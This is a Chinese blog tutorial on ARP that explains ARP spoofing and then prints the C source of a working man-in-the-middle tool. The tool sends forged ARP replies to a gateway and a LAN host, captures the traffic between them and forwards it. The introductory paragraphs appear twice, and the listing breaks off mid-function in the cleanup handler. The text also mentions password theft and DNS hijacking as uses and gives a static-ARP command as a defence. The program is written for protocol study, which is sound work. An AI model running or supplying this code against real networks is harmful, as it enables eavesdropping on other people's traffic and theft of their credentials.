网络协议学习之局域网监听技术
2015-07-28 18:14
549 查看
ARP即地址解析协议,用于处理主机之间获取MAC地址与IP地址的映射问题。
若主机A和主机B通讯。当A主机网络层数据交给数据链路层时,数据就被数据链路层封装为MAC帧,MAC帧需要知道目的主机B的MAC地址。
于是在目的B的MAC未知的情况下,A主机数据链路层会向局域网广播一个ARP广播,广播的内容类似于”请问ip地址为aaaa的主机是谁,
请告诉我(IP bbbb,MAC bbbbbb)你的MAC地址”,以寻求目的主机的MAC地址,目的主机收到ARP请求报文后,若发现是询问自己的硬件地
址,那么该主机首先会将源主机的MAC-IP记录在自己的ARP告诉缓存表中,然后向请求主机发送一份ARP单播应答报文,内容类似于”我是
aaaa,我的MAC是aaaaaa”。源主机A收到应答后遍得到了B的硬件地址,于是将B的MAC-IP存入自己的ARP高速缓存中,以便下次使用,然后
主机A用该硬件地址填充数据帧的相应部分,再将该帧数据发送出去。
这便是一个描述ARP协议的大致过程,其细节后面的文章会讲解。
关于ARP缓存更新的条件,前面一篇《ARP缓存表的更新条件》已经介绍过。本文接下来介绍的是一种基于ARP协议的局域网监听技术。
主机在接收到请求或者应答的时候都可能添加或者更新ARP条目,若通过给目的主机发送错误的ARP请求或者应答那么目的主机将会保存
着错误的ARP条目,这样一来,将会导致目的主机的通讯受阻甚至被发送到错误的主机上,ARP欺骗攻击由此而来。ARP欺骗的手段有很多,有的可以使某一台计算机无法上网,或者整个局域网的主机都无法上网,有的可以截获用户密码,如FTP用户名与口令,有的可以DNS劫持,用户访问的网站域名被重定向到一个钓鱼网站等等。
ARP攻击的危害性很大,目前为止没有一个完美的解决方案来处理ARP攻击,但是当您发现自己被攻击时,如主机与网关断开了,则可以通过一条简单的命令来恢复上网,即设置静态ARP条目:
arp -s x.x.x.x xx:xx:xx:xx:xx:xx
x.x.x.x是网关IP,xx:xx:xx:xx:xx:xx是网关mac地址,静态的arp条目是不会被更新的。
下面这个程序演示了通过给网关G和局域网内一台主机A发送错误的ARP请求或者应答报文,使之保存错误的ARP条目,二者之间的流量被重定位到另一台主机B,该主机可以分析网关G与主机A的数据,从而实现数据监听。该程序还能转发网关与主机A之间的数据,使二者之间的通讯不中断。
若主机A和主机B通讯。当A主机网络层数据交给数据链路层时,数据就被数据链路层封装为MAC帧,MAC帧需要知道目的主机B的MAC地址。
于是在目的B的MAC未知的情况下,A主机数据链路层会向局域网广播一个ARP广播,广播的内容类似于”请问ip地址为aaaa的主机是谁,
请告诉我(IP bbbb,MAC bbbbbb)你的MAC地址”,以寻求目的主机的MAC地址,目的主机收到ARP请求报文后,若发现是询问自己的硬件地
址,那么该主机首先会将源主机的MAC-IP记录在自己的ARP告诉缓存表中,然后向请求主机发送一份ARP单播应答报文,内容类似于”我是
aaaa,我的MAC是aaaaaa”。源主机A收到应答后遍得到了B的硬件地址,于是将B的MAC-IP存入自己的ARP高速缓存中,以便下次使用,然后
主机A用该硬件地址填充数据帧的相应部分,再将该帧数据发送出去。
这便是一个描述ARP协议的大致过程,其细节后面的文章会讲解。
关于ARP缓存更新的条件,前面一篇《ARP缓存表的更新条件》已经介绍过。本文接下来介绍的是一种基于ARP协议的局域网监听技术。
主机在接收到请求或者应答的时候都可能添加或者更新ARP条目,若通过给目的主机发送错误的ARP请求或者应答那么目的主机将会保存
着错误的ARP条目,这样一来,将会导致目的主机的通讯受阻甚至被发送到错误的主机上,ARP欺骗攻击由此而来。ARP欺骗的手段有很多,有的可以使某一台计算机无法上网,或者整个局域网的主机都无法上网,有的可以截获用户密码,如FTP用户名与口令,有的可以DNS劫持,用户访问的网站域名被重定向到一个钓鱼网站等等。
ARP攻击的危害性很大,目前为止没有一个完美的解决方案来处理ARP攻击,但是当您发现自己被攻击时,如主机与网关断开了,则可以通过一条简单的命令来恢复上网,即设置静态ARP条目:
arp -s x.x.x.x xx:xx:xx:xx:xx:xx
x.x.x.x是网关IP,xx:xx:xx:xx:xx:xx是网关mac地址,静态的arp条目是不会被更新的。
下面这个程序演示了通过给网关G和局域网内一台主机A发送错误的ARP请求或者应答报文,使之保存错误的ARP条目,二者之间的流量被重定位到另一台主机B,该主机可以分析网关G与主机A的数据,从而实现数据监听。该程序还能转发网关与主机A之间的数据,使二者之间的通讯不中断。
/** * 声明: * 本程序使用Linux原始套接字,抓取数据链路层数据帧,实现监听截获局域网内两台主机之间或者局域 * 网内一台主机与网关之间的通讯,并实现数据转发功能,主要用于网络抓包技术及网络通讯协议的学习、实践。 * 您可以自由的使用,复制,修改和重新发布程序的源代码,但不提倡用于非法目的,如将本程序完善以用用盗 * 取密码等机密信息。因非法使用本程序源码造成的后果,您应该独立承担法律责任。 * 作者:Shifang Wen * 邮箱:772148609@qq.com * 最后修改时间:2014.6.11 */
#makefile for listener. main:main.o arp.o ip.o tcp.o udp.o cc -lpthread -o main main.o arp.o ip.o tcp.o udp.o main.o:main.c header.h ip.h tcp.h udp.h cc -c main.c arp.o:arp.c header.h cc -Wall -c arp.c ip.o:ip.c header.h ip.h cc -Wall -c ip.c tcp.o:tcp.c header.h tcp.h cc -Wall -c tcp.c udp.o:udp.c header.h udp.h cc -Wall -c udp.c clean: rm *.o /** header file for main.c * this file include the system header file neccessarily. * 2014.5.25 */ #ifndef _HEADER_FILE #define _HEADER_FILE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <error.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/if_ether.h> #include <linux/tcp.h> #include <netpacket/packet.h> #include <net/if_arp.h> #include <net/ethernet.h> #include <arpa/inet.h> #include <net/if.h> #include <pthread.h> #include <signal.h> #endif /* * header file for ip.c * 2014.5.16 */ #ifndef _IP_H #define _IP_H struct _ip // IP报头结构(字节顺序为小端) { unsigned char ihl:4; // 首部长度 unsigned char version:4; // 协议版本 unsigned char ser_type; // 服务类型 unsigned short total_len; // 总长度 unsigned short id; // 分段标识 unsigned short frag_off; // 分段偏移 unsigned char ttl; // 生存时间 unsigned char protocol; // 上层协议 unsigned short check; // 检验和 unsigned char saddr[4]; // 源IP unsigned char daddr[4]; // 目的IP }__attribute__((packed)); extern void print_ip_header(const struct _ip* ptr_ip); #endif /** * source file ip.c,provide some moth to print ip header info. * 2014.5.29 */ #include "header.h" #include "ip.h" /** * 打印 IP 包头部字段 * 参数表: * ip 指向ip首部的指针 * 返回值:无 */ void print_ip_header(const struct _ip * ip) { printf("-----ip header-----------------------------\n"); printf("ip version :%x\n",ip->version); printf("ip header len :%x\n",ip->ihl); printf("ip total_len :%u\n",ntohs(ip->total_len)); printf("id :%u\n",ntohs(ip->id)); printf("protocol :%u\n",ip->protocol); printf("check :%u\n",ip->check); printf("%d.%d.%d.%d ----> ",ip->saddr[0],ip->saddr[1],ip->saddr[2],ip->saddr[3]); printf("%d.%d.%d.%d.\n",ip->daddr[0],ip->daddr[1],ip->daddr[2],ip->daddr[3]); } /** * 声明一个函数,该函数用于打印arp数据帧的各个字段值。 * 2014.6.6 */ #ifndef _ARP_H #include "header.h" #define arpsha arp->arp_sha #define arpspa arp->arp_spa #define arptha arp->arp_tha #define arptpa arp->arp_tpa extern void print_arp_packet(const struct ether_arp*); #endif /** * 定义一个函数,该函数用户打印arp数据帧的各个字段值。 * 2014.6.6 */ #include "header.h" #include "arp.h" void print_arp_packet(const struct ether_arp * arp) { printf("----arp packet--------------------\n"); printf("arp ar_hdr : %u\n",ntohs(arp->ea_hdr.ar_hrd)); printf("arp ar_pro : %.4x\n",ntohs(arp->ea_hdr.ar_pro)); printf("arp ar_hln : %u\n",arp->ea_hdr.ar_hln); printf("arp ar_pln : %u\n",arp->ea_hdr.ar_pln); printf("arp ar_op_type : %.2x\n",ntohs(arp->ea_hdr.ar_op)); printf("arp sha : %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",arpsha[0],arpsha[1],arpsha[2],arpsha[3],arpsha[4],arpsha[5]); printf("arp spa : %d.%d.%d.%d\n",arpspa[0],arpspa[1],arpspa[2],arpspa[3]); printf("arp tha : %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",arptha[0],arptha[1],arptha[2],arptha[3],arptha[4],arptha[5]); printf("arp tpa : %d.%d.%d.%d\n",arptpa[0],arptpa[1],arptpa[2],arptpa[3]); } /** * headar file for udp.c * 2014.5.28 */ #ifndef _UDP_H #define _UDP_H struct _udp { unsigned short source_port; // 16位源端口 unsigned short dest_port; // 16位目的端口 unsigned short packet_len; // 16位报文长度 unsigned short check_sum; // 16位检验和 }__attribute__((packed)); extern void print_udp_header(const struct _udp * ptrdup); #endif /** * source file . * 2014.5.28 */ #include "header.h" #include "udp.h" void print_udp_header(const struct _udp* ptrudp) { printf("----udp header----\n"); printf("source port :%u\n",ntohs(ptrudp->source_port)); printf("dest port :%u\n",ntohs(ptrudp->dest_port)); printf("packet_len :%u\n",ntohs(ptrudp->packet_len)); printf("check_sum :%u\n",ntohs(ptrudp->check_sum)); } /* * header file that define tcp protocol header. * 2014.5.20 */ #ifndef _TCP_H #define _TCP_H struct _tcp { unsigned short source_p; // 16位源端口 unsigned short dest_p; // 16位目的端口 unsigned int seq; // 32位序列列号 unsigned int ack_seq; // 32位确认号 unsigned short res1:4; // 4位保留 unsigned short h_length:4; // 4位首部长度 unsigned short fin:1; // 释放TCP连接位 unsigned short syn:1; // 同步序号,用于发起连接 unsigned short rst:1; // 重置或者拒绝一个连接 unsigned short psh:1; // 若被置位则数据立即交付,无需缓冲 unsigned short ack:1; // 若被置一表明ack_seq有效 unsigned short urg:1; // 若被置一表明紧急指针有效 unsigned short res:2; // 2位保留位 unsigned short window; // 16位窗口大小 unsigned short check; // 16位TCP报文检验和 unsigned short urg_ptr; // 16位紧急指针 }__attribute__((packed)); extern void print_tcp_header(const struct _tcp *tcp); #endif /** * source tcp.h * use to print tcp header structure. * 2014.5.26 */ #include "header.h" #include "tcp.h" void print_tcp_header(const struct _tcp *tcp) { printf("-----tcp header----------------\n"); printf("source port :%u\n",ntohs(tcp->source_p)); printf("destinator port :%u\n",ntohs(tcp->dest_p)); printf("seq :%u\n",ntohl(tcp->seq)); printf("ack_seq :%u\n",ntohl(tcp->ack_seq)); printf("header length :%u\n",tcp->h_length); printf("urg :%u\n",tcp->urg); printf("ack :%u\n",tcp->ack); printf("psh :%u\n",tcp->psh); printf("rst :%u\n",tcp->rst); printf("syn :%u\n",tcp->syn); printf("fin :%u\n",tcp->fin); printf("window :%u\n",ntohs(tcp->window)); printf("check :%u\n",ntohs(tcp->check)); printf("urg_ptr :%u\n",ntohs(tcp->urg_ptr)); } /** * 程序主文件。 */ #include "header.h" // 必要系统头文件 #include "arp.h" // 自定义ARP头文件 #include "ip.h" // 自定义IP头文件 #include "tcp.h" // 自定义TCP头文件 #include "udp.h" // 自定义UDP头文件 #define ETHER_BUF_LEN 60 // 不含CRC的以太网最小帧长度 #define BUFLEN 1500 // MTU #define INTER_LEN 32 // 存放网络接口卡名称的缓冲区长度值 #define ethd eth->ether_dhost // struct ether_header结构成员宏定义 #define eths eth->ether_shost #define _DEBUG 1 // 调试 /** * 线程参数结构 */ struct thread_args{ unsigned char interface_name[INTER_LEN]; // 网络接口名称 unsigned char target_ip1[17]; // 目标机1的点分十进制的ip字串 unsigned char target_ip2[17]; // 目标机2的点分十进制的ip字串 unsigned char target_mac1[ETH_ALEN]; // 目标机1的mac地址 unsigned char target_mac2[ETH_ALEN]; // 目标机2的mac地址 }; /** * 函数参数结构 */ struct args{ unsigned char src_mac[ETH_ALEN]; // 源mac unsigned char src_ip[4]; // 源IP unsigned char dst_ip[4]; // 目的IP }; /** * 全局变量,主要是信号处理函数使用。 */ unsigned char global_mac1[6],global_mac2[6],global_ip1[17],global_ip2[17]; unsigned char ifname[64]; int thread_stop = 0; /** * struct ether_arp结构字段宏定义,简化访问。 */ #define arpsha arp->arp_sha #define arpspa arp->arp_spa #define arptha arp->arp_tha #define arptpa arp->arp_tpa /** * 打印以太网帧头部字段。 * 参数表: * buffer;指向以太网帧首部的指针。 * 返回值:无。 * 2014.5.26 */ void print_ether_header(const char *buffer) { struct ether_header *eth = (struct ether_header*) buffer; printf("-----ether frame header-------------\n"); printf("ether_header dst mac: %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",ethd[0],ethd[1],ethd[2],ethd[3],ethd[4],ethd[5]); printf("ether_header src mac: %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",eths[0],eths[1],eths[2],eths[3],eths[4],eths[5]); printf("ether_header type: %.4x\n",ntohs(eth->ether_type)); } /** * 功能:查看接收到的报文是否是arp报文,且是对本次请求的应答报文。 * 参数表: * args_ptr:包含本地地址信息。 * arp: 存放接收到的arp报文缓冲区指针。 * 返回值:若匹配,返回0,不匹配返回-1. * 2014.6.11 */ int arp_match(struct args*args_ptr,unsigned char *buffer) { struct ether_header * eth = (struct ether_header*) buffer; struct ether_arp *arp = (struct ether_arp*)(buffer+sizeof(struct ether_header)); if((ntohs(eth->ether_type) == 0x0806) && (ntohs(arp->ea_hdr.ar_op) == ARPOP_REPLY)){ if((memcmp(args_ptr->src_mac,arp->arp_tha,ETH_ALEN) == 0) &&(memcmp(args_ptr->src_ip,arp->arp_tpa,4) == 0) &&(arp->ea_hdr.ar_op == htons(ARPOP_REPLY))){ #ifdef _DEBUG printf("match sucessful\n"); #endif return 0; } } return -1; } /** * 发送arp请求获取目标主机的mac地址。 * 参数表: * net_dev_name:网络接口名称。 * remote_ip:要获取mac地址的主机ip地址。 * remote_mac:出口参数,若函数成功,该参数被赋值。 * 返回值:0成功,-1失败。 */ int get_mac_by_ip(char *net_dev_name,char *remote_ip,char *remote_mac) { int sockfd,num; unsigned char sendbuffer[ETHER_BUF_LEN]; unsigned char recvbuffer[ETHER_BUF_LEN]; struct sockaddr_ll to; struct ifreq ifr; struct in_addr local_addr,target_addr; struct args arg; struct timeval timeout; timeout.tv_usec = 0; timeout.tv_sec = 1; struct ether_header * eth = (struct ether_header *) sendbuffer; struct ether_arp * arp = (struct ether_arp *) (sendbuffer + sizeof(struct ether_header)); struct ether_header * ethr = (struct ether_header*) recvbuffer; struct ether_arp * arpr = (struct ether_arp*) (recvbuffer + sizeof(struct ether_header)); unsigned char src_mac[ETH_ALEN]; unsigned char dst_mac[]={0xff,0xff,0xff,0xff,0xff,0xff}; bzero(&to,sizeof(to)); bzero(&ifr,sizeof(ifr)); bzero(&local_addr,sizeof(local_addr)); bzero(&target_addr,sizeof(target_addr)); strcpy(ifr.ifr_name,net_dev_name); sockfd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ARP)); if(ioctl(sockfd,SIOCGIFINDEX,&ifr) == -1){ perror("get dev index error"); exit(1); } /** *设置接收超时为1秒 */ if(setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&timeout,sizeof(timeout)) == -1){ perror("setsockopt error"); exit(1); } to.sll_ifindex = ifr.ifr_ifindex; bind(sockfd,(struct sockaddr*)& to,sizeof(to)); if(ioctl(sockfd,SIOCGIFADDR,&ifr) == -1){ perror("get dev ip error"); exit(1); } local_addr.s_addr = ((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr.s_addr; inet_pton(AF_INET,remote_ip,&(target_addr.s_addr)); printf("target ip :%s\n",inet_ntoa(target_addr)); printf("local ip address %s\n",inet_ntoa(local_addr)); if(ioctl(sockfd,SIOCGIFHWADDR,&ifr) == -1){ perror("get dev mac error"); exit(1); } memcpy(src_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN); bind(sockfd,(struct sockaddr*)&to,sizeof(to)); /** * 构造arp 请求包 */ memcpy(eth->ether_dhost,dst_mac,ETH_ALEN); memcpy(eth->ether_shost,src_mac,ETH_ALEN); eth->ether_type = htons(ETHERTYPE_ARP); arp->arp_hrd = htons(ARPHRD_ETHER); arp->arp_pro = htons(ETHERTYPE_IP); arp->arp_hln = ETH_ALEN; arp->arp_pln = 4; arp->arp_op = htons(ARPOP_REQUEST); memcpy(arp->arp_sha,src_mac,ETH_ALEN); memcpy(arp->arp_spa,&local_addr,4); memset(dst_mac,0,ETH_ALEN); memcpy(arp->arp_tha,dst_mac,ETH_ALEN); memcpy(arp->arp_tpa,&target_addr,4); /** * 初始化一个参数结构体成员 */ memcpy(&arg.src_mac,src_mac,ETH_ALEN); memcpy(&arg.src_ip,&local_addr,4); memcpy(&arg.dst_ip,&target_addr,4); int count = 0,recv_try = 0,found = 0; /** * 最多尝试十次发送ARP请求报文. */ while(count < 10 && found != 1){ print_ether_header(sendbuffer); print_arp_packet((struct ether_arp*)(sendbuffer+sizeof(struct ether_header))); num = sendto(sockfd,sendbuffer,ETHER_BUF_LEN,0,(struct sockaddr*)&to,sizeof(to)); if(num < 0){ perror("send error"); return 1; } else printf("send num = %d count = %d\n",num,count); /** * 最多尝试5次接收报文,若5次接收的报文不是对应的应答包,则继续发送ARP请求包。 */ while(recv_try < 5){ num = recvfrom(sockfd,recvbuffer,ETHER_BUF_LEN,0,NULL,NULL); if(num < 0){ perror("recv error"); recv_try ++; continue; }else printf("received %d byte(s) ,recv_try is %d\n",num,recv_try); printf("ether_frame header-----------\n"); printf("ether dst mac:%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",\ ethr->ether_dhost[0],ethr->ether_dhost[1],ethr->ether_dhost[2],\ ethr->ether_dhost[3],ethr->ether_dhost[4],ethr->ether_dhost[5]); printf("ether src mac:%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",\ ethr->ether_shost[0],ethr->ether_shost[1],ethr->ether_shost[2],\ ethr->ether_shost[3],ethr->ether_shost[4],ethr->ether_shost[5]); printf("ether type :%.4x\n",ntohs(ethr->ether_type)); print_arp_packet((struct ether_arp*)(recvbuffer+sizeof(struct ether_header))); if(arp_match(&arg,recvbuffer) == 0){ memcpy(remote_mac,arpr->arp_sha,ETH_ALEN); count++; /** * 尝试多次请求应答,测试程序的稳定性. */ found = 1; break; } recv_try++; } count++; recv_try = 0; } close(sockfd); if(found == 1) return 0; return -1; } /** * 线程体,定时向目标IP发送 ARP 欺骗的应答报文。 * 参数表:struct thread_args结构提指针。 * 返回值:无。 * 2014.5.24 */ void *thread_attack(void* args) { struct thread_args * p = (struct thread_args*) args; int socketfd,n; struct sockaddr_ll toaddr; struct in_addr sockaddr; struct ifreq ifr; unsigned char buffer[ETHER_BUF_LEN]; unsigned char src_mac[ETH_ALEN]; struct in_addr in_addr1,in_addr2; struct ether_header * eth = (struct ether_header*) buffer; struct ether_arp * arp = (struct ether_arp*) (buffer+sizeof(struct ether_header)); bzero(&toaddr,sizeof(toaddr)); bzero(&sockaddr,sizeof(sockaddr)); bzero(&ifr,sizeof(ifr)); strcpy(ifr.ifr_name,p->interface_name); bzero(&in_addr1,sizeof(in_addr1)); bzero(&in_addr2,sizeof(in_addr2)); inet_pton(AF_INET,p->target_ip1,&in_addr1); inet_pton(AF_INET,p->target_ip2,&in_addr2); socketfd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL)); if(socketfd == -1){ perror("thread_attack create socket error"); exit(1); } if(ioctl(socketfd,SIOCGIFINDEX,&ifr) == -1){ perror("get interface index error"); exit(1); } toaddr.sll_ifindex = ifr.ifr_ifindex; toaddr.sll_family = PF_PACKET; if(ioctl(socketfd,SIOCGIFHWADDR,&ifr) == -1){ perror("get interface hardware addr error"); exit(1); } memcpy(src_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN); while(thread_stop != 1){ /** * 构造以太网头,目标MAC地址为目标主机1的MAC地址,源MAC地址为本机MAC地址。 */ memcpy(eth->ether_dhost,p->target_mac1,ETH_ALEN); memcpy(eth->ether_shost,src_mac,ETH_ALEN); eth->ether_type = htons(ETHERTYPE_ARP); /** * 构造ARP 包 */ arp->arp_hrd = htons(ARPHRD_ETHER); arp->arp_pro = htons(ETHERTYPE_IP); arp->arp_hln = ETH_ALEN; arp->arp_pln = 4; arp->arp_op = htons(ARPOP_REPLY); memcpy(arp->arp_sha,src_mac,ETH_ALEN); memcpy(arp->arp_spa,&in_addr2,4); memcpy(arp->arp_tha,p->target_mac1,ETH_ALEN); memcpy(arp->arp_tpa,&in_addr1,4); /** * 发送到目标机1 */ n = sendto(socketfd,buffer,ETHER_BUF_LEN,0,(struct sockaddr*)&toaddr,sizeof(toaddr)); if(n < 0){ perror("sendto"); }else{ printf("sendto a attack pakcet to %s\n",inet_ntoa(in_addr1)); } /** * 调试代码 */ /* printf("打印欺骗ARP包:\n"); print_arp_packet((struct ether_arp*)(buffer+sizeof(struct ether_header))); */ /** * 构造以太网头,目标MAC地址为目标主机2的MAC地址,源MAC地址为本机MAC地址。 */ memcpy(eth->ether_dhost,p->target_mac2,ETH_ALEN); memcpy(eth->ether_shost,src_mac,ETH_ALEN); eth->ether_type = htons(ETHERTYPE_ARP); /** * 构造ARP 包 */ arp->arp_hrd = htons(ARPHRD_ETHER); arp->arp_pro = htons(ETHERTYPE_IP); arp->arp_hln = ETH_ALEN; arp->arp_pln = 4; arp->arp_op = htons(ARPOP_REPLY); memcpy(arp->arp_sha,src_mac,ETH_ALEN); memcpy(arp->arp_spa,&in_addr1,4); memcpy(arp->arp_tha,p->target_mac2,ETH_ALEN); memcpy(arp->arp_tpa,&in_addr2,4); /** * 发送到目标机2 */ n = sendto(socketfd,buffer,ETHER_BUF_LEN,0,(struct sockaddr*)&toaddr,sizeof(toaddr)); if(n < 0){ perror("sendto"); }else{ printf("sendto a attack pakcet to %s\n",inet_ntoa(in_addr2)); } /** * 调试代码 */ /* printf("打印欺骗ARP包:\n"); print_arp_packet((struct ether_arp*)(buffer+sizeof(struct ether_header))); */ sleep(1); } printf("攻击线程以停止。。。+++++++++++++++++++++++++++++++++++++++++++++。\n"); } /** * 数据包转发函数,根据源MAC,目的MAC向指定接口转发该数据包。 * 参数表: * inter:指定的网络接口。 * dst_mac:目的MAC地址。 * ip_data:ip数据。 * send_num:数据包长度。 * 返回值:成功0,失败-1。 */ int packet_forwarding(const char *inter,char *dst_mac,const char *ip_data,const int send_num) { char buffer[BUFLEN] = {0}; int sendfd,num; struct sockaddr_ll toaddr; struct ifreq ifr; struct ether_header * eth = (struct ether_header*) buffer; /* 指针eth指向以太网首部 */ memcpy(buffer,ip_data,send_num); unsigned char local_mac[ETH_ALEN]; static unsigned int count = 0; static unsigned int total_bytes = 0; bzero(&toaddr,sizeof(toaddr)); bzero(&ifr,sizeof(ifr)); strcpy(ifr.ifr_name,inter); sendfd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_IP)); if(sendfd == -1){ perror("packet_forwarding create socket error"); exit (1); } if(ioctl(sendfd,SIOCGIFINDEX,&ifr) == -1){ perror("packet_forwarding get interface index error"); exit (1); } toaddr.sll_ifindex = ifr.ifr_ifindex; if(ioctl(sendfd,SIOCGIFHWADDR,&ifr) == -1){ perror("packet_forwarding get interface hardware error"); exit(1); } memcpy(local_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN); toaddr.sll_family = AF_PACKET; /** * 修改以太网帧头部目的MAC和源MAC两个字段。 */ memcpy(eth->ether_dhost,dst_mac,ETH_ALEN); memcpy(eth->ether_shost,local_mac,ETH_ALEN); /** * 转发IP数据包 */ printf("打印转发包数据:\n"); print_ether_header(buffer); print_ip_header((struct _ip *) (buffer+sizeof(struct ether_header))); if(((struct _ip*) (buffer+sizeof(struct ether_header)))->protocol == 0x06) print_tcp_header((struct _tcp*)(buffer+sizeof(struct ether_header) + sizeof(struct _ip))); if(((struct _ip*) (buffer+sizeof(struct ether_header)))->protocol == 0xa1) print_udp_header((struct _udp*)(buffer+sizeof(struct ether_header) + sizeof(struct _ip))); num = sendto(sendfd,buffer,send_num,0,(struct sockaddr*)&toaddr,sizeof(toaddr)); if(num <= 0){ perror("packet_forwarding sendto error"); return -1; } total_bytes += num; printf("+++++++++++++++++++++++++++++++++++++ packet_forwarding ip packet %d byte(s),"\ "total %u packet(s),and %u byte(s)\n",num,++count,total_bytes); close(sendfd); return 0; } /** * 监听函数,用于截获目标机之间的IP数据报,并调用相关函数执行转发。 * 参数表: * interface_name:网络接口名。 * target_ip1:目标主机1 IP地址。 * target_ip2:目标主机2 IP地址。 * mac1:目标主机1 mac地址。 * mac2:目标主机2 mac地址。 * 返回值:无。 */ int attack_listen(const char *interface_name,char *target_ip1,char *target_ip2,unsigned char *mac1,unsigned char*mac2) { int listenfd,num; struct sockaddr_ll fromaddr; struct in_addr sockaddr; struct ifreq ifr; unsigned char buffer[BUFLEN]; struct ether_header * eth = (struct ether_header*) buffer; struct _ip * ip = (struct _ip*) (buffer+sizeof(struct ether_header)); struct in_addr in_addr1,in_addr2,in_addr_local; unsigned char local_mac[ETH_ALEN]={0}; bzero(&fromaddr,sizeof(struct sockaddr_ll)); bzero(&sockaddr,sizeof(sockaddr)); bzero(&ifr,sizeof(ifr)); strcpy(ifr.ifr_name,interface_name); bzero(&in_addr1,sizeof(in_addr1)); bzero(&in_addr2,sizeof(in_addr2)); inet_pton(AF_INET,target_ip1,&in_addr1); inet_pton(AF_INET,target_ip2,&in_addr2); listenfd = socket(AF_PACKET,SOCK_RAW,htons(ETH_P_IP)); if(listenfd == -1){ perror("thread_attack create socket error"); exit(1); } if(ioctl(listenfd,SIOCGIFINDEX,&ifr) == -1){ perror("get interface index error"); exit(1); } if(ioctl(listenfd,SIOCGIFHWADDR,&ifr) == -1){ perror("get interface hardware error"); exit(1); } memcpy(local_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN); if(ioctl(listenfd,SIOCGIFADDR,&ifr) == -1){ perror("get interface addr error"); exit(1); } in_addr_local.s_addr = ((struct sockaddr_in *)&(ifr.ifr_addr))->sin_addr.s_addr; fromaddr.sll_ifindex = ifr.ifr_ifindex; fromaddr.sll_family = PF_PACKET; fromaddr.sll_protocol = htons(ETH_P_IP); fromaddr.sll_hatype = ARPHRD_ETHER; fromaddr.sll_pkttype = PACKET_HOST; fromaddr.sll_halen = ETH_ALEN; bind(listenfd,(struct sockaddr*)&fromaddr,sizeof(struct sockaddr)); printf("\n"); while(1){ memset(buffer,0,BUFLEN); num = recvfrom(listenfd,buffer,BUFLEN,0,NULL,NULL); /*printf("\nread %d bytes------------------\n",num); printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x--->",eths[0],eths[1],eths[2],eths[3],eths[4],eths[5]); printf(" %.2x:%.2x:%.2x:%.2x:%.2x:%.2x ",ethd[0],ethd[1],ethd[2],ethd[3],ethd[4],ethd[5]); printf("type %.4x\n",ntohs(eth->ether_type));*/ if(ntohs(eth->ether_type) == 0x0800){ /* * 若接收到一个目的mac地址为本机, 源mac是主机一或者主机2,且目的IP不是本机的数据包,则,转发它。 */ if((memcmp(ethd,local_mac,ETH_ALEN) == 0) && (memcmp(ip->daddr,&in_addr_local,4) != 0)){ if(memcmp(eths,mac1,ETH_ALEN) == 0 ){ printf("+++++++++++++++++++++++++++++++++++++++++ "); printf("need to transfer a packet.!\n"); printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x ---->",eths[0],eths[1],eths[2],eths[3],eths[4],eths[5]); printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x:\n",ethd[0],ethd[1],ethd[2],ethd[3],ethd[4],ethd[5]); packet_forwarding(interface_name,mac2,buffer,num); } if(memcmp(eths,mac2,ETH_ALEN) == 0){ printf("+++++++++++++++++++++++++++++++++++++++++ "); printf("need to transfer a packet.!\n"); printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x ---->",eths[0],eths[1],eths[2],eths[3],eths[4],eths[5]); printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x:\n",ethd[0],ethd[1],ethd[2],ethd[3],ethd[4],ethd[5]); packet_forwarding(interface_name,mac1,buffer,num); } }else printf("needless forwarding this packet------------------\n"); } } return 0; } /** * SIGINT 信号处理函数,处理键盘Ctrl+C组合键。 * 当按下Ctrl+C时,需要恢复两台目标主机正确的ARP缓存表,然后再退出本程序。 * 说明,两种方式恢复,一是使用应答方式,二是是用请求方式,程序使用应答 * 方式,但该函数没有成功,目标机没能更新到正确ARP缓存,尚未确定问题所在。 * 2014.6.5 */ void quit_handler(int signum) { int sockfd; struct sockaddr_ll toaddr; struct ifreq ifr; unsigned char buffer1[ETHER_BUF_LEN] = {0}; unsigned char buffer2[ETHER_BUF_LEN] = {0}; struct in_addr in_addr1,in_addr2; bzero(&toaddr,sizeof(toaddr)); bzero(&ifr,sizeof(ifr)); bzero(&in_addr1,sizeof(in_addr1)); bzero(&in_addr2,sizeof(in_addr2)); inet_pton(AF_INET,global_ip1,&in_addr1); inet_pton(AF_INET,global_ip2,&in_addr2); strcpy(ifr.ifr_name,ifname); sockfd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL)); if(sockfd == -1){ perror("socket error"); exit (1); } if(ioctl(sockfd,SIOCGIFINDEX,&ifr) == -1){ perror("quit_handler get interface index error"); exit (1); } toaddr.sll_ifindex = ifr.ifr_ifindex; toaddr.sll_family = PF_PACKET; toaddr.sll_protocol = htons(ETH_P_ARP); toaddr.sll_hatype = ARPHRD_ETHER; toaddr.sll_pkttype = PACKET_HOST; toaddr.sll_halen = ETH_ALEN; if(bind(sockfd,(struct sockaddr*)&toaddr,sizeof(toaddr)) == -1){ perror("bind error"); exit(1); } /** * 构造第一个arp报文 */ struct ether_header * eth = (struct ether_header*) buffer1; struct ether_arp *arp = (struct ether_arp*) (buffer1 + sizeof(struct ether_header)); unsigned char ff_mac[]={0xff,0xff,0xff,0xff,0xff,0xff}; unsigned char zero_mac[] = {0x00,0x00,0x00,0x00,0x00,0x00}; /** * 构造以太网头部,目标mac为主机1的mac,源mac为主机2的mac,即恢复主机1的arp缓存表。 */ 